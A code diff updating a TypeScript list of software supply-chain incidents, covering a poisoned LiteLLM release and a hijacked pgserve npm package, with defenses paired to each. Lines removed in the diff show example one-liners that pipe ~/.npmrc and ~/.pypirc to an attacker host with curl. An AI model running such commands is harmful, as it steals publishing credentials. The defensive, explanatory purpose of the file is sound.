@@ -135,12 +135,12 @@ export const incidents: readonly Incident[] = [
135135 attackName : "TeamPCP / LiteLLM compromise" ,
136136 attackDate : "2026-03-24" ,
137137 attackOneLine :
138- "credential phish. malicious litellm release lived on PyPI for 40 minutes under the legitimate publisher ." ,
138+ "TeamPCP poisoned Trivy upstream. LiteLLM's CI ran apt-installed Trivy, which exfiltrated PYPI_PUBLISH and pushed 1.82.7 + 1.82.8 for 40 minutes ." ,
139139 attackArtifact : [
140- "$ pip install litellm" ,
141- " Successfully installed litellm-1.51.4 " ,
142- " __init__.py: silently exfil OPENAI_API_KEY to dropbox " ,
143- " signed with the real maintainer's password " ,
140+ "$ pip install litellm # 2026-03-24 10:39-11:19 UTC " ,
141+ " Successfully installed litellm-1.82.8 " ,
142+ " CI's apt-pinned-nothing Trivy stole PYPI_PUBLISH, " ,
143+ " attacker pushed 1.82.7 + 1.82.8 with a credstealer " ,
144144 ] ,
145145 defenseName : "Sigstore + trusted publisher (OIDC)" ,
146146 defenseOneLine :
@@ -168,23 +168,24 @@ export const incidents: readonly Incident[] = [
168168 num : "05" ,
169169 stageLabel : "DISTRIBUTE" ,
170170 question : "the name resolves to bytes somewhere. to whose?" ,
171- attackName : "pgserve typosquat worm " ,
171+ attackName : "pgserve / CanisterSprawl " ,
172172 attackDate : "2026-04-21" ,
173173 attackOneLine :
174- "a name close enough to a real PostgreSQL helper. postinstall reaches for npm + pypi tokens ." ,
174+ "the real pgserve, hijacked. postinstall harvested NPM/GH/cloud creds and self-propagated by republishing the maintainer's other packages ." ,
175175 attackArtifact : [
176- "$ npm install pgserve # meant pg-serve " ,
177- " postinstall script: " ,
178- " cat ~/.npmrc | curl -X POST attacker.tld " ,
179- " cat ~/.pypirc | curl -X POST attacker.tld " ,
176+ "$ npm install pgserve # 2026-04-21 22:14 UTC " ,
177+ " postinstall harvested NPM/GH/AWS/k8s/SSH creds, " ,
178+ " exfil to ICP canister cjn37-uyaaa-aaaac-qgnva-cai, " ,
179+ " republished maintainer's owned packages (worm) " ,
180180 ] ,
181- defenseName : "scoped namespace + registry attestation " ,
181+ defenseName : "registry attestation + --ignore-scripts " ,
182182 defenseOneLine :
183- "@org/pgserve ties a name to an owner. registry-served Sigstore attestations let you verify at install time ." ,
183+ "registry-served Sigstore attestations prove bytes came from the expected workflow. --ignore-scripts contains postinstall in CI ." ,
184184 defenseArtifact : [
185- "$ npm install @postgres/serve --foreground -scripts=false " ,
185+ "$ npm install pgserve --ignore -scripts" ,
186186 "$ npm audit signatures" ,
187- " -> all dependencies have valid attestations" ,
187+ " -> attestation issuer != expected workflow" ,
188+ " -> install rejected" ,
188189 ] ,
189190 links : [
190191 {
0 commit comments